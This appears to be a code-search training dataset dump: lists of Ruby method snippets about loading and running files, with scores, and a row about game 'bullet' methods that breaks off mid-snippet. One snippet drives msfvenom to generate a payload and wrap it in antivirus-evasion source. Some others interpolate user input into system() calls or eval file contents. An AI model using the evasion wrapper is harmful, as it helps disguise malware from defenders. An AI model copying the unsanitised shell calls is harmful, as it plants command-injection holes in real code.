spin_up('run.rb', sketch, args)\n end", "def readme\n puts\n puts \"Usage of machine_age.rb\"\n puts \"=======================\"\n puts\n puts \"1. Machine analysis\"\n puts \"-------------------\"\n puts \"1.0 clean_ib_source (INFILE EUNA download)\"\n puts \"1.1 copy_column\"\n puts \"1.2 abc_analysis (INFILE: EUNA download)\"\n puts \"1.3 machine_age (INFILE: EUNA downlaod\"\n puts \"1.4 machine_count_top (INFILE: see note)\"\n puts \" Note: use the resulting file from 'machine_age'\"\n puts\n puts \"2. Spares and Repairs analysis\"\n puts \"------------------------------\"\n puts \"2.1 extract_regional_data (INFILE: DWH download)\"\n puts \" Note: Only if you want to analyze a specific country and extract \"\n puts \" it from a world file\"\n puts \"2.2 insert_customer_data (INFILE: result from 2.1 or DWH download\"\n puts \"2.3 region_revenue (INFILE: result from 2.2 or DWH download)\"\n puts \"2.4 customer_revenue (INFILE: result from 2.2)\" \n puts\n puts \"3. Conduct complete analysis in one swoop\"\n puts \"-----------------------------------------\"\n puts \"3.1 machine_analysis (includes 1.1 - 1.3, INFILE: EUNA downlaod)\"\n puts \"3.2 spares_and_repairs_analysis_complete (includes 2.1 - 2.4,\"\n puts \" INFILE: DWH download)\"\n puts \"3.3 spares_and_repairs_analysis (includes 2.3 - 2.4,\"\n puts \" INFILE: DWH downlaod)\"\nend", "def parse!\n Watchr.debug('loading script file %s' % @path.to_s.inspect)\n\n reset\n\n # Some editors do delete/rename. Even when they don't some events come very fast ...\n # and editor could do a trunc/write. If you look after the trunc, before the write, well,\n # things aren't pretty.\n \n # Should probably use a watchdog timer that gets reset on every change and then only fire actions\n # after the watchdog timer fires without get reset ..\n\n v = nil\n (1..10).each do\n old_v = v\n v = @path.read\n break if v != \"\" && v == old_v\n sleep(0.3)\n end\n\n instance_eval(@path.read)\n\n rescue Errno::ENOENT\n # TODO figure out why this is happening. still can't reproduce\n Watchr.debug('script file \"not found\". wth')\n sleep(0.3) #enough?\n instance_eval(@path.read)\n end", "def main\n end", "def program; end", "def load_file\n raise NotImplementedError, \"loading Ruby source files is not implemented\"\n end", "def show_source\n\tFile.open(\"Ruby_4_Challenges.rb\", \"r\")\n\tcontents = File.open(\"Ruby_4_Challenges.rb\", \"r\"){|file| file.read }\n\tputs contents\nend", "def main\n\n end", "def load_file(file_path)\n\t\t\tcode = File.open(file_path) { |f| f.read }\n\t\t\trun(code)\n\t\tend", "def run\n # Change the working directory to the directory of this script.\n Dir.chdir(File.dirname(__FILE__)) \n\n # if LIST_TECHNIQUES is true, just output available evasion techniques.\n if datastore['LIST_TECHNIQUES'] == true\n print_available_techniques()\n else\n payload = datastore['PAYLOAD']\n payload_options = datastore['PAYLOAD_OPTIONS']\n output_directory = datastore['OUTPUT_DIRECTORY']\n executable_name = datastore['EXECUTABLE_NAME']\n evasion_stack = datastore['EVASION_STACK']\n msfvenom_path = datastore['MSFVENOM_PATH']\n\n if payload == nil\n print_error(\"PAYLOAD must be set.\")\n return \n end\n if output_directory == nil \n print_error(\"OUTPUT_DIRECTORY must be set.\")\n return\n end\n if executable_name == nil \n print_error(\"EXECUTABLE_NAME must be set.\") \n return\n end\n if msfvenom_path == \"\"\n # Guess at path to msfvenom\n msfvenom_path = Dir.pwd[0..(Dir.pwd.index(\"pro\")+3)]+\"msf3/msfvenom\"\n print_status(\"MSFVENOM_PATH not specified. Hoping msfvenom can be found at \"+msfvenom_path+\".\")\n end\n\n binary_generated = generate_binary(msfvenom_path, payload, payload_options)\n if binary_generated\n print_status(\"Payload binary generated successfully.\")\n print_status(\"Generating evasive source from generated binary.\")\n\n generate_evasive_source(evasion_stack)\n\n executable_generated = generate_executable(output_directory+\"/\"+executable_name)\n\n if executable_generated\n print_status(\"Executable successfully generated.\")\n else\n print_error(\"Unable to generate executable.\")\n end\n else\n print_error(\"Payload generation with msfvenom failed.\")\n end\n\n print_status(\"Cleaning up temporary files.\")\n\n if File.exist?('tmp/bin'+self.uuid+'.c')\n File.delete('tmp/bin'+self.uuid+'.c')\n end\n if File.exist?('tmp/evasive'+self.uuid+'.c')\n File.delete('tmp/evasive'+self.uuid+'.c')\n end\n\n end\n end", "def fire!\n if @setup_file\n vmsg \"Running #{@setup_file} first\"\n load @setup_file\n else\n vmsg \"No setup file #{@setup_file} to run\"\n end\n if @options.run_separately\n @files.each { |file|\n _print_banner(file)\n load file\n Whitestone.run(_whitestone_options)\n }\n else\n @files.each { |file|\n vmsg \"Loading file: #{file}\"\n load file\n }\n Whitestone.run(_whitestone_options)\n end\n end", "def do_a_thing\n puts \"We are doing a thing!!!!!!!!!!!!!!!! #{file_name}\"\n end", "def main()\n if (ARGV.length != 1)\n usage()\n end\n if (File.file?(ARGV[0]) == false)\n puts \"Error: [%s] doesn't exist or isn't a file.\" % [ARGV[0]]\n usage()\n end\n puts (calcTopicId(getFileContent(ARGV[0])))\nend", "def run_main\n end", "def run_script(file=nil)\n\tif file == nil\n\t\tfile = $screen.ask(\"run script file: \",[\"\"],false,true)\n\t\tif (file==nil) || (file==\"\")\n\t\t\t$screen.write_message(\"cancelled\")\n\t\t\treturn\n\t\tend\n\tend\n\tif File.directory?(file)\n\t\tlist = Dir.glob(file+\"/*.rb\")\n\t\tlist.each{|f|\n\t\t\tscript = File.read(f)\n\t\t\teval(script)\n\t\t\tif $screen != nil\n\t\t\t\t$screen.write_message(\"done\")\n\t\t\tend\n\t\t}\n\telsif File.exist?(file)\n\t\tscript = File.read(file)\n\t\teval(script)\n\t\tif $screen != nil\n\t\t\t$screen.write_message(\"done\")\n\t\tend\n\telse\n\t\tputs \"Script file #{file} doesn't exist.\"\n\t\tputs \"Press any key to continue anyway.\"\n\t\tSTDIN.getc\n\tend\nrescue\n\tif $screen != nil\n\t\t$screen.write_message(\"Bad script\")\n\telse\n\t\tputs \"Bad script file: #{file}\"\n\t\tputs \"Press any key to continue anyway.\"\n\t\tSTDIN.getc\n\tend\nend", "def create_student_full_code\n puts Dir.pwd\n @student_code = ''\n File.open('code.txt', 'rb') do |code_file|\n code = code_file.read()\n code = code.split(\"\\n\")\n code.each { |line| @student_code += line + \"\\n\" unless line.empty? }\n end\n File.open('part1.txt', 'rb') do |part1file|\n @part1 = part1file.read\n end\n File.open('part2.txt', 'rb') do |part2file|\n @part2 = part2file.read\n end\n full_student_code = @part1 + @student_code + \"\\n\" + @part2\n\n main_method('', full_student_code)\nend", "def live\n ensure_exists(filename)\n spin_up('live.rb', filename, argc)\n end", "def live\n ensure_exists(filename)\n spin_up('live.rb', filename, argc)\n end", "def run\n begin\n raise TooManyArgumentsError.new(@arguments) if @arguments.length > 1\n \n print_version if @options.version?\n scan if @options.scan?\n rename_given_file unless @arguments.empty?\n run_gui if @arguments.empty?\n \n raise Error\n rescue => e\n puts e.to_s\n \n exit(1)\n end\n end", "def run!\n say @file_path\n report_results Benchmark.measure { @evaluator << @test_file }\n report_errors\n end", "def load(file)\n path = expand_path(file)\n runtime.run(path) if path\n end", "def load_game\nputs \"Please choose one of the below saved profiles:\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nwhile(!system(\"test -e '#{$file_name}'\")) do\nputs \"Such profile does not exits, please choose a valid one.\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nend\ninfo = IO.readlines(\"#{$file_name}\") # info is a array and each index value is the info of a line info[3] = info that is on line number three.\n# now info is acctualy being loaded intro the system variables\n$name = info[0]\n$lvl = info[1]\n$gold = info[2]\nfor i in 3..((info.length)-1) do\n$inventory[$inventory.length] = info[i] # with $inventory.length start from 0 becuse it's initial null it will automaticaly grow\nend\nputs \"Loading please wait...\"\nsleep(2)\nprint \"............\"\nsleep(1)\nputs \"............\"\nputs $name\nputs $gold\nputs $lvl\nputs $inventory\n####call the level method\nend", "def main\n # ARGV array stores command-line arguments\n if ARGV.length != 1\n puts(\"Incorrect number of arguments to the program\")\n puts(\"Usage: ruby Main.rb inputfile\")\n puts(\"Example: ruby Main.rb blinker.gol\")\n exit(1)\n end\n\n # instantiate GameOfLife object\n gol = GameOfLife.new()\n\n # load grid with data from file given on command line\n gol.loadGrid(ARGV.shift.strip)\n\n puts(\"Beginning with grid size \" + gol.rows.to_s + \",\" + gol.cols.to_s)\n puts(gol.to_s)\n\n # play game\n while true\n puts(\"\\nPress n (or return) for next generation, i to iterate multiple times,\")\n print(\"w to save grid to disk, or q to quit? \")\n line = gets.strip\n\n case line\n when 'n', ''\n gol.mutate()\n puts(gol.to_s)\n\n when 'i'\n print(\"How many iterations? \")\n num = gets.strip.to_i\n for i in (0...num)\n gol.mutate()\n puts(gol.to_s)\n end\n\n when 'w'\n print(\"Enter a filename: \")\n filename = gets.strip\n gol.saveGrid(filename)\n puts(\"Grid saved to file \" + filename + \"\\n\")\n\n when 'q'\n puts(\"Exiting program\")\n exit(0)\n end\n end\nend", "def __loading(file)\n $stderr.puts(\"====== #{__loading_level}#{file}\")\n end", "def partialEvaluateFiles\n pe = PE.new()\n Dir.foreach('..\\input') { |file|\n if (File.fnmatch(\"*.rb\", file))\n puts \"Start pe of #{file}\"\n if ($debug)\n a = PE.new\n a.run(nil, file)\n\n else\n system (\"ruby pe.rb #{file}\")\n end\n end\n }\nend", "def run\n print \"Checking markdown files...\"\n\n load_files\n load_releases\n check\n check_releases\n report\n\n exit(1) if errors.any? && exit_on_errors\n end", "def run\n # Like RuboCop itself, we'll lazy load so the task\n # doesn't substantially impact Rakefile load time.\n require 'ruumba'\n\n analyzer = Ruumba::Analyzer.new\n puts 'Running Ruumba...'\n\n analyzer.run @dir\n end", "def load_file\n fc = JFileChooser.new\n fc.setDialogTitle(\"Choose Ruby Script File\")\n if fc.showOpenDialog(@frame) == JFileChooser::APPROVE_OPTION\n @ruby_main.file fc.getSelectedFile.absolute_path\n else\n STDERR.puts \"Unrecognized Ruby Script File\"\n end\n end", "def load_file(filename); end", "def load_file(filename); end", "def try_load_students\n filename = ARGV.first\n return if filename.nil? # get out method and run as without this method\n if File.exist?(filename)\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else\n puts \"Sorry #{filename} doesn't exist\"\n exit\n end\nend", "def main\n\nend", "def run file_name \n\t\tapplication = select_app file_name \n\t\tsystem \"#{application} #{file_name}\" \n\tend", "def load1\nf = File.read(@filename)\nf.each_line do |line|\nif line.match('#undone')\n@pending << line\nelse\n@completed << line\nend\nend\nreturn @pending\nend", "def reload!\n load './lib/try-new-beers/beer_review.rb'\nend", "def main\n\n if ARGV[0].nil?\n STDOUT.write(\"\\nERROR! Missing input file!\\nUsage: create_HHpred_job.rb A3M-FILE\\n\")\n return\n end\n \n infilename = ARGV[0]\n # chec\n if !File.exist?(File.join(infilename))\n STDOUT.write(\"\\nERROR! No inputfile #{infilename}!\\n\") \n return\n end\n\n create_toolkit_job( infilename )\n\nend", "def run\n # @file_to_validate is an array with the content_at and\n # subtitle/subtitle_tagging_import files\n content_at_file, subtitle_import_file = @file_to_validate\n errors, warnings = [], []\n\n catch(:abandon) do\n outcome = contents_match?(\n content_at_file.read,\n subtitle_import_file.read\n )\n\n if outcome.fail?\n errors += outcome.errors\n warnings += outcome.warnings\n #throw :abandon\n end\n end\n\n log_and_report_validation_step(errors, warnings)\n end", "def script\n\t\tputs \"You should extend script()\"\n\tend", "def run_rc_file(rc_file); end", "def run(_path)\n return instance_eval(File.read(_path)) if File.extname(_path) == '.rb'\n _source = Heist.parse(File.read(_path))\n _scope = FileScope.new(self, _path)\n _source.eval(_scope)\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def loadFile _args\n \"loadFile _args;\" \n end", "def call\n puts \"Welcome to the CoVid-19 Tracker program. I hope you are staying safe and healthy during these unprecedented times.\".cyan\n sleep(1.5)\n load_data\n end", "def load\n input(@infile)\n true\n end", "def check_file(filename)\n # set output format to 'simple' (easier to parse) and\n # include rubocop configuration file\n rubocop_res = `rubocop -f simple -c #{@options[:config]} #{filename}`\n results = parse_rubocop_output(rubocop_res)\n unless (results[:C].empty? &&\n results[:E].empty? &&\n results[:F].empty? &&\n results[:W].empty?) ||\n @options[:quiet]\n puts\n @options[:jenkins] ?\n puts(\"=== #{filename} ===\") :\n puts(\"=== #{filename} ===\".bold)\n print_offenses(results)\n end\n # Report results in a json file\n report_results(filename, results, 'coding_style') if @options[:report]\n # Return code\n (results[:C].empty? && results[:E].empty? && results[:F].empty?) ? 0 : 1\n end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def try_load_students\n filename = ARGV.first # first argument from the command line\n return if filename.nil? # get out of the method if it isn't given\n if File.exists?(filename) # if it exists\n load_students(filename)\n puts \"Loaded #{@students.count} from #{filename}\"\n else # if it doesn't exist\n puts \"Sorry, #{filename} doesn't exist.\"\n exit # quit the program\n end\nend", "def run\n \n end", "def run\n \n end", "def perform(filepath)\n\n end", "def run(file_name)\n application = select_app(file_name)\n system \"#{application} #{file_name}\"\n end", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments\n # add parameters\n args = {}\n # TODO: use correct syntax for set\n args[:verbose] = @options.verbose if @options.verbose\n args[:input] = @options.input if @options.input\n args[:output] = @options.output if @options.output\n args[:map_name] = @options.map_name if @options.map_name\n args[:not_installed] = @options.cwd if @options.cwd\n \n program = Guy.new args\n program.work\n puts \"Finished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end", "def start_program\n load_questions\n say_hello\n program_loop\nend", "def run\n end" ]
[ "0.6306849", "0.6306849", "0.58674127", "0.5814108", "0.58088046", "0.58068913", "0.5780768", "0.5774481", "0.5773407", "0.5755512", "0.5743653", "0.57343984", "0.5733372", "0.5718698", "0.5717825", "0.5696378", "0.5696378", "0.5696334", "0.5679648", "0.5665895", "0.56173396", "0.56142455", "0.56119096", "0.5595042", "0.5586604", "0.5580272", "0.5576472", "0.55722284", "0.55676365", "0.55584925", "0.5546551", "0.5546088", "0.554142", "0.55322605", "0.55302346", "0.552563", "0.5525416", "0.5522716", "0.5522324", "0.5520879", "0.5519586", "0.5484986", "0.54847544", "0.546616", "0.5465052", "0.54631203", "0.54543364", "0.5454063", "0.544186", "0.54343337", "0.54343337", "0.54337525", "0.54307413", "0.5428912", "0.5425962", "0.5420553", "0.5405781", "0.54028296", "0.5396459", "0.5395902", "0.5392954", "0.5368427", "0.5368427", "0.5366155", "0.53620434", "0.535529", "0.5346632", "0.5340923", "0.53365517", "0.5335131", "0.53229326", "0.53223825", "0.5314736", "0.5305124", "0.5305124", "0.5305124", "0.5305124", "0.5305124", "0.5305124", "0.5305124", "0.5304659", "0.5303224", "0.53012276", "0.52985936", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.52942437", "0.5289015", "0.5288506", "0.5288506", "0.52883965", "0.52855825", "0.5282628", "0.52807945", "0.52791196" ]
0.0
-1
TODO: more than one bullet?
def bullet @bullet ||= load_data.first.bullet end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_bullet(bullet)\n @bullets << bullet\n end", "def bullet(name, options={}, &block)\n cur_page.bullet(name, options, &block)\n end", "def prepare_bullet_data\n [\"*\", self]\n end", "def bullet(str)\n [*str].each { |s| @parts.push(bullet: s) }\n end", "def player_fire_bullet()\r\n # This makes sure that bullets are fired after certain intervals\r\n if Gosu.milliseconds > (@seconds_elapsed * COUNTER)\r\n @seconds_elapsed = Gosu.milliseconds\r\n @bullet_sound.bmp.play()\r\n # Generating a bullet object\r\n @bullets.push Bullet.new((@player.x+ 33), @player.y, 'good')\r\n end \r\n end", "def fire_bullet args\n return unless args.inputs.mouse.click # return unless mouse is clicked\n args.state.bullets << args.state.new_entity(:bullet) do |bullet| # new bullet is declared a new entity\n bullet.y = args.inputs.mouse.click.point.y # set to the y value of where the mouse was clicked\n bullet.x = 0 # starts on the left side of the screen\n bullet.size = 10\n bullet.speed = 10 * rand + 2 # speed of a bullet is randomized\n bullet.rect = [bullet.x, bullet.y, bullet.size, bullet.size] # definition is set\n end\nend", "def alien_fire_bullet()\r\n # The aliens will fire bullets at random, \r\n # The randomness is controlled by @alien_fire_rand\r\n @aliens.each { |alien|\r\n if rand(@alien_fire_rand) == 0\r\n @bullets.push Bullet.new(alien.x, alien.y+ 40, 'evil')\r\n end\r\n }\r\n end", "def shoot_1\n if Time.now - @last_shoot_1 > 0.5\n @window.e_bullets << Ennemy_Bullet.new(@window, @player, @x, @y, -2, 4)\n @window.e_bullets << Ennemy_Bullet.new(@window, @player, @x, @y, 0, 4)\n @window.e_bullets << Ennemy_Bullet.new(@window, @player, @x, @y, 2, 4)\n @last_shoot_1 = Time.now\n end\n end", "def shoot\n bullet1 = Bullet.new(@x, @y, @angle, @map, @pColor)\n bullet2 = Bullet.new(@x, @y, @angle + Math::PI / 2, @map, @pColor)\n bullet3 = Bullet.new(@x, @y, @angle + Math::PI, @map, @pColor)\n bullet4 = Bullet.new(@x, @y, @angle + Math::PI * 3 / 2, @map, @pColor)\n\n @map.PobjectArray.push(bullet1)\n @map.PobjectArray.push(bullet2)\n @map.PobjectArray.push(bullet3)\n @map.PobjectArray.push(bullet4)\n end", "def touched_by bullet\n ([@width, @height].max/3).times do\n p_vx = rand(100)/10.0 - 5\n p_vy = rand(100)/10.0 - 5\n #@window.particles << Particle.new(@window, @x + rand(@width) - @width/2, @y + rand(@height) - @height/2, p_vx, p_vy)\n @window.particles << Live_Particle.new(@window, bullet.x + rand(@width) - @width/2, bullet.y + rand(@height) - @height/2, p_vx, p_vy, @colors.rand_in, 1 + rand)\n end\n damage bullet.damage\n end", "def add_bullets\n @window.bullets << Vibrant_Bullet.new(@window, @player, @player.x, @player.y - @player.height/2.0)\n end", "def initialize(message = {})\n super(message)\n @type = 'bullet'\n end", "def move_bullets args\n args.state.bullets.each do |bullet| # perform action on each bullet in collection\n bullet.x += bullet.speed # increment x by speed (bullets fly horizontally across screen)\n\n # By randomizing the value that increments bullet.y, the bullet does not fly straight up and out\n # of the scope of the screen. Try removing what follows bullet.speed, or changing 0.25 to 1.25 to\n # see what happens to the bullet's movement.\n bullet.y += bullet.speed.*(0.25).randomize(:ratio, :sign)\n bullet.rect = [bullet.x, bullet.y, bullet.size, bullet.size] # sets definition of bullet's rect\n end\nend", "def bullet\n height = @options[:height].to_f\n @graph_width = @options.has_key?(:width) ? @options[:width].to_f : 100.0\n good_color = @options.has_key?(:good_color) ? @options[:good_color] : '#eeeeee'\n satisfactory_color = @options.has_key?(:satisfactory_color) ? @options[:satisfactory_color] : '#bbbbbb'\n bad_color = @options.has_key?(:bad_color) ? @options[:bad_color] : '#999999'\n bullet_color = @options.has_key?(:bullet_color) ? @options[:bullet_color] : 'black'\n @thickness = height/3.0\n\n create_canvas(@graph_width, height, good_color)\n\n @value = @norm_data\n @good_value = @options[:good].to_f\n\n @graph_height = @options[:height]\n\n qualitative_range_colors = [satisfactory_color, bad_color]\n [:satisfactory, :bad].each_with_index do |indicator, index|\n next unless @options.has_key?(indicator)\n @draw = @draw.fill(qualitative_range_colors[index])\n indicator_width_x = @graph_width * (@options[indicator].to_f / @good_value)\n @draw = @draw.rectangle(0, 0, indicator_width_x.to_i, @graph_height)\n end\n\n if @options.has_key?(:target)\n @draw = @draw.fill(bullet_color)\n target_x = @graph_width * (@options[:target].to_f / @good_value)\n half_thickness = (@thickness / 2.0).to_i\n bar_width = 1.0\n @draw = @draw.rectangle(target_x.to_i, half_thickness, (target_x + bar_width).to_i, @thickness * 2 + half_thickness)\n end\n\n # Value\n @draw = @draw.fill(bullet_color)\n @draw = @draw.rectangle(0, @thickness.to_i, @graph_width * (@data.first.to_f / @good_value), (@thickness * 2.0).to_i)\n\n @draw.draw(@canvas)\n @canvas\n end", "def cleanup \n @bullets.each do |bullet|\n if bullet.exploding\n @bullets.delete bullet\n end\n end\n end", "def shoot\n return Bullet.new(@window, @x, @y, 0, -2, true)\n end", "def bulletlist\n b = pbpaste\n a = b.remove(/^[\\t]*\\*/) # strip off bullet etc from beginning\n\n if a.scan(\"\\n\").size > 1 # determine whether to split on newline, space or comma\n splt = \"\\n\"\n elsif a.scan(\")\").size > a.scan(\"(\").size + 2\n splt = \")\"\n a.gsub!(/[, (]*\\d+\\)/,\")\")\n elsif a.scan(\";\").size > 1\n splt = \";\"\n elsif a.scan(\".\").size > 2\n splt = \".\"\n elsif a.scan(\"?\").size > 2\n splt = \"?\"\n elsif a.scan(\",\").size < 1\n splt = \" \"\n else\n splt = \",\"\n end\n\n splits = a.split(splt)\n\n # deal with situation where the last two items are delimited with \"and\", but not for line shift or 1) 2) kind of lists\n if splits.last.index(\" and \") && !(splt == \"\\n\" || splt == \")\")\n x,y = splits.last.split(\" and \")\n splits.pop\n splits << x\n splits << y\n end\n\n out = ''\n splits.each do |item|\n i = item.remove(\n /p\\. *\\d+$/,\n \", and\",\n /[\\.\\*]/,\n /^ *and /,\n /\\.$/,\n \"•\",\n \"\",\n \"􏰀\"\n ).strip\n out << \" * #{i}\\n\" if i.size > 0\n end\n\n puts out\nend", "def shoot_2\n if Time.now - @last_shoot_1 > 0.05\n @window.e_bullets << Ennemy_Bullet.new(@window, @player, @x - 28, @y, 0, 7)\n @window.e_bullets << Ennemy_Bullet.new(@window, @player, @x + 28, @y, 0, 7)\n @last_shoot_1 = Time.now\n end\n end", "def bullet_line(paragraph, spaces, multiline = true, add_period = true)\n # + 2 for \"- \" and a potential period at the end of the sentence.\n # Remove arbitrary newlines created by formatting in YAML files\n indented = indent(wrap_field(paragraph.tr(\"\\n\", ' '), spaces + 3), 2)\n\n if multiline && UNSAFE_CHARS.any? { |c| paragraph.include?(c) }\n indented = \"- |\\n\" + indented\n else\n indented[0] = '-'\n end\n\n if add_period\n indented += '.' unless indented.end_with?('.')\n end\n\n indented\n end", "def hit_by_bullet\n $p_bullets.delete_if do |b|\n if self.bounding_box_collision?(b)\n @meter.change_width(b.dmg)\n b.destroy\n during(100) { @color.alpha = 100 }.then { @color.alpha = 255 }\n @life -= 1.0\n true\n end\n end\n end", "def bullet(str)\n @result << ['* ', str, \"\\n\"]\n end", "def remove_unused_bullets()\r\n # All the bullet objects are looped through\r\n @bullets.dup.each { |bullet|\r\n # Determines if a bullet is outside the screen\r\n bullet.x > SCREEN_HEIGHT || bullet.x < 0\r\n }\r\n end", "def fire \n\n # Could end up spawning a number of bullets, depending on the weapon\n bullets = []\n\n # For now, we'll just spawn a small green laser bolt!\n bullets << Laser.new( :laser_small_green, @x - 64, @y + 64, false )\n\n # And just hand back that collection of bullets\n bullets\n\n end", "def bullet_lines(line, spaces)\n line.split(\".\\n\").map { |paragraph| bullet_line(paragraph, spaces) }\n end", "def without_bullet\n old_bullet_enable = Bullet.enable?\n Bullet.enable = false\n yield\n ensure\n Bullet.enable = old_bullet_enable\n end", "def remove_unicode_bullets_from_list_items!\n path = WordToMarkdown.soffice.major_version == '5' ? 'li span span' : 'li span'\n @document.tree.search(path).each do |span|\n span.inner_html = span.inner_html.gsub(/^([#{UNICODE_BULLETS.join}]+)/, '')\n end\n end", "def circle(list, loc, frameCount, divisor=18, speed=3.0, frequency=30.0)\n if frameCount > @bullet_pause+frequency\n $sm.play_sound(\"circle\",0.1,1.0,false)\n x = loc[0]\n y = loc[1]\n angle = 0.0\n degree = 360.0/divisor\n for i in 1..divisor\n angle += degree\n list << Bullet.create(:x=>x, :y=>y, :speed=>speed, :angle=>Gosu.degrees_to_radians(angle),:list=>list)\n end\n @bullet_pause = frameCount\n end\n end", "def enemy_bullet_collision\n if cr.defeated == false\n $e_bullets.each do |b|\n if self.bounding_box_collision?(b)\n @life -= 1\n $hud.set_lives(life)\n clear_all_bullets\n end\n end\n end\n end", "def shoot\n\t\t# Updates last shot distance if it can't shoot\n\t\tif @lastShot <= @SHOT_LAG then\n\t\t\t@lastShot = Gosu::distance(@x, @y, @lastPosX, @lastPosY)\n\t\telse\n\t\t\t# Preps a new bullet and resets last shot distance\n\t\t\t@lastShot = 0\n\t\t\t@lastPosX = @x\n\t\t\t@lastPosY = @y\n\t\t\t# returns a bullet with a velocity 1 greater than the ship's\n\t\t\t# velocity\n\t\t\treturn Bullet.new(@window, @x, @y, 0, @vel+1, false)\n\t\tend\n\tend", "def accept_list_item_start list_item\n bullet = case @list_type.last\n when :BULLET then\n '*'\n when :NOTE, :LABEL then\n labels = Array(list_item.label).map do |label|\n attributes(label).strip\n end.join \"\\n\"\n\n labels << \":\\n\" unless labels.empty?\n\n labels\n else\n @list_index.last.to_s + '.'\n end\n\n case @list_type.last\n when :NOTE, :LABEL then\n @indent += 2\n @prefix = bullet + (' ' * @indent)\n else\n @prefix = (' ' * @indent) + bullet.ljust(bullet.length + 1)\n\n width = bullet.gsub(/\\e\\[[\\d;]*m/, '').length + 1\n\n @indent += width\n end\n end", "def render_player_bullet args\n args.outputs.sprites << {\n x: args.state.player_bullet_x,\n y: args.state.player_bullet_y,\n w: args.state.player_bullet_w,\n h: args.state.player_bullet_h,\n path: 'sprites/square/blue.png'\n }\nend", "def bulletpoint(input)\nend", "def render_enemy_bullet args\n args.outputs.sprites << {\n x: args.state.enemy_bullet_x,\n y: args.state.enemy_bullet_y,\n w: args.state.enemy_bullet_w,\n h: args.state.enemy_bullet_h,\n path: 'sprites/square/orange.png'\n }\nend", "def shoot(dir)\n\t\tx_origin = @x + (@width / 2.0) - (10)\n\t\ty_origin = @y + (@height / 2.0) - (10)\n\t\t@bullets.push(Bullet.new(x_origin, y_origin, 20, 20, @player.bullet_image, @gameWindow, 3, 3, dir)) #fix this.\n\t\t@remaining_time = @shot_time\n\tend", "def update()\n #checks if it has hit an asteroid\n self.hit()\n #moves the bullet\n self.move()\n end", "def render args\n # draw the player's bullet\n render_player_bullet args\n # draw the player\n render_player args\n # draw the enemy bullet\n render_enemy_bullet args\n # draw the enemy\n render_enemy args\n # draw game over\n render_game_over args\nend", "def player_hit(bullet)\r\n @bullets.delete bullet\r\n @ship_hit_sound.bmp.play\r\n # If the player has lost all the lifeline end the game\r\n if @player.life == 0\r\n # Ending the game\r\n GameOverWindow.new.show\r\n close\r\n end \r\n # Player lost one lifeline\r\n @player.lose_life()\r\n # Plaing a blank heart to represent it\r\n @heart_list[@player.life] = @blank_heart\r\n @heart = @blank_heart \r\n end", "def alien_hit(alien, bullet)\r\n # Deleting the alien and the bullet object\r\n @aliens.delete alien\r\n @bullets.delete bullet\r\n @explode = true\r\n @player.update_score()\r\n # Setting the coordinates for the explosion\r\n @explode_x = alien.x\r\n @explode_y = alien.y\r\n @explosion_sound.bmp.play \r\n end", "def move_player_bullet args\n # don't update the position if the bullet isn't in action\n if args.state.player_bullet_shooting\n # go see if the bullet hit the enemy\n check_enemy_hit args\n # update the bullet y position\n args.state.player_bullet_y += 10\n # has the bullet gone off the top of the screen?\n if args.state.player_bullet_y > 720\n # don't bother updating it\n args.state.player_bullet_shooting = false\n end\n end\nend", "def move_enemy_bullet args\n # don't update the position if the bullet isn't in action\n if args.state.enemy_bullet_shooting\n # go see if the bullet hit the player\n check_player_hit args\n # update the bullet y position\n args.state.enemy_bullet_y -= 10\n # has the bullet gone off the bottom of the screen?\n if args.state.enemy_bullet_y < 0 - args.state.enemy_bullet_h\n # don't bother updating it\n args.state.enemy_bullet_shooting = false\n end\n end\nend", "def shoot(window,shot,player)\n\t\tshot << Bullet.new(window, self, player)\n\t\t@reload_end = Gosu::milliseconds\n\tend", "def enemy_shoot args\n # generate a random number from 0 to 99\n r = rand(100)\n # is the random number 0? that give a a 1 in 100 chance of shooting\n # is the enemy shooting? Only shoot if not already shooting.\n if r == 1 && args.state.enemy_bullet_shooting == false\n # set the enemy bullet position to the enemy position\n args.state.enemy_bullet_x = args.state.enemy_x + args.state.enemy_w / 2\n args.state.enemy_bullet_y = args.state.enemy_y\n # track state of enemy bullet\n args.state.enemy_bullet_shooting = true\n end\nend", "def accept_list_item_start list_item\n type = @list_type.last\n\n case type\n when :NOTE, :LABEL then\n bullets = Array(list_item.label).map do |label|\n attributes(label).strip\n end.join \"\\n\"\n\n bullets << \":\\n\" unless bullets.empty?\n\n @prefix = ' ' * @indent\n @indent += 2\n @prefix << bullets + (' ' * @indent)\n else\n bullet = type == :BULLET ? '*' : @list_index.last.to_s + '.'\n @prefix = (' ' * @indent) + bullet.ljust(bullet.length + 1)\n width = bullet.length + 1\n @indent += width\n end\n end", "def list_style(item); end", "def accept_list_item_start list_item\n type = @list_type.last\n\n case type\n when :NOTE, :LABEL then\n bullets = Array(list_item.label).map do |label|\n attributes(label).strip\n end.join \"\\n\"\n\n bullets << \"\\n:\"\n\n @prefix = ' ' * @indent\n @indent += 4\n @prefix << bullets + (' ' * (@indent - 1))\n else\n bullet = type == :BULLET ? '*' : @list_index.last.to_s + '.'\n @prefix = (' ' * @indent) + bullet.ljust(4)\n\n @indent += 4\n end\n end", "def list_item(str, opts = { print: true })\n bullet = color? ? ANSI_CODES[:bold] + ANSI_CODES[:color][:white] + GLYPHS[:bullet] + ANSI_CODES[:reset] : \"*\"\n result = \" \" + bullet + \" \" + str.to_s + \"\\n\"\n print_or_return(result, opts[:print])\n end", "def remove_bullets_of_screen args\n args.state.bullets = args.state.bullets.reject { |bullet| bullet.x > 1280 } # screen width is 1280\nend", "def list_item_start list_item, list_type\n throw :done if @characters >= @character_limit\n\n case list_type\n when :BULLET, :LALPHA, :NUMBER, :UALPHA then\n \"<p>\"\n when :LABEL, :NOTE then\n labels = Array(list_item.label).map do |label|\n to_html label\n end.join ', '\n\n labels << \" &mdash; \" unless 